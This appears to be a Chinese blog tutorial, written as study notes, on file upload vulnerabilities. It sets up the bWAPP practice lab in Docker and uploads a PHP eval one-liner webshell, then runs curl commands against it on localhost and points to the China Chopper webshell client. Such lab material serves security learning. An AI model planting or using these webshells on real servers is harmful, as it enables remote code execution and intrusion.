.net fileupload批量上传可删除_Web安全(一)文件上传漏洞[一]

6c3d54bb7315e6d584723ebca0b15d40.gif

点击上方蓝字关注!

注:本篇文章为个人学习笔记仅供学习交流。

c2987f3265a5c4ede663328448fe3ada.gif


文件上传漏洞概述 

文件上传(File Upload)是大部分Web应用都具备的功能,例如用户上传附件、改头像、分享图片等。 文件上传漏洞是在开发者没有做充足验证(包括前端,后端)情况下,允许用户上传恶意文件,这里上传的文件可以是木马、病毒、恶意脚本或者Webshell等。

实验环境搭建

下载并安装docker

进入www.docker.com根据系统下载对应docker。

791879137629c11692dee2be4f39c59a.png

选Decker Desktop

5f5cf71bea5568bd8df8b0b7020236e2.png

0abc20bd78f2c6ca67e741cd9eb1137d.png

开启Hyper-V

c70d59abf9181eca98eb93b38be6b737.png

b29dc28fee29f0fa9315477381f12e1a.png

下载完后正常安装即可,打开cmd输入docker -v检测安装是否成功

c368015192b8fcea6d3ebe2bca2b3dec.png

全面加速

对于使用Windows 10的系统,在系统右下角托盘Docker图标内快捷菜单选择设置,打开配置窗口后导航菜单选择Docker Engine。在Registrymirrors中添加一个加速器地址https://registry.docker-cn.com,之后点击Apply保存后Docker就会重启并应用配置的多个地址了。

c1503d117d0e46442f00e77f8162f02a.png

启动Docker

在cmd输入并执行以下命令

docker pull registry.cn-shanghai.aliyuncs.com/yhskc/bwapp

71da762810b35f1ca298772951f07ab1.png

docker run -d -p 0.0.0.0:8080:80 registry.cn-shanghai.aliyuncs.com/yhskc/bwapp

fdea85c929fba40a6c79027e69ed1543.png

注:若出现以下端口被占用的报错,可修改8080为其他可用端口。(下图为使用80:80的报错)

ac16cc3f323fbbd40e614c347d47078c.png

打开浏览器访问127.0.0.1:8080/install.php,点击hear生成数据库,再点击注册新用户(注意不需要勾选E-mail activation),注册完登录即可。

86b11a70c6516c554223d2e31a42b374.png

21dcad5d181c1272b7e48b9bb2979d53.png

下次启动docker环境在下图点击启动即可

d803c5f80c5b639558ec33f624414f38.png

编辑木马文件并上传

eval函数

eval( string $code)

把字符串 code 作为PHP代码执行。函数eval()语言结构允许执行任意 PHP 代码。code为 需要被执行的字符串 。

代码执行的作用域是调用 eval() 处的作用域。因此,eval() 里任何的变量定义、修改,都会在函数结束后被保留。   

PHP一句话木马

<?php  @eval($_POST['hacker']); ?>

新建文本文件写入PHP一句话木马,并将txt后缀改为php.

e573fdcc91671fd85f86e2eae04db212.png

上传PHP文件

登录后选择Unrestricted File Upload,文件上传漏洞上传文件,上传后可以看到路径为http://127.0.0.1:8080/images/shell.php

d38954ef7322f413cf5599bcef8dab39.png

b6eb6f37d8936753f800b97263b376f7.png

webshell执行命令

在cmd执行

curl -d "hacker=echo get_current_user();" http://127.0.0.1:8080/images/shell.phpcurl -d "hacker=echo getcwd();" http://127.0.0.1:8080/images/shell.php

get_current_user — 获取当前 PHP 脚本所有者名称

getcwd — 取得当前工作目录。

9d6810b07cf438c8ab5f0d1e3811860c.png

使用中国菜刀连接

下载链接:https://github.com/raddyfiy/caidao-official-version

打开软件后,右键添加SHELL连接即可。

8f9bf8a260c92f835ac333e681d21b75.png

cbe57f21184b753eb2753ac5fbeee295.png

不同语言一句话木马

97af84a9f2b9d6950e5382ef93b780f2.png

4cfe3426f7cb61240fff68ec70d74395.gif

- End -

e1b554b4b250c2b87bb310977efaea1e.png 往期推荐
  • CTF自学笔记(一)常用工具使用及安装

  • CTF自学笔记(二)SQL注入攻击[一]

  • CTF自学笔记(二)SQL注入攻击[三]

910e3d5e65b5bf146dc790690f7d6d98.png觉得不错,请点个在看

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值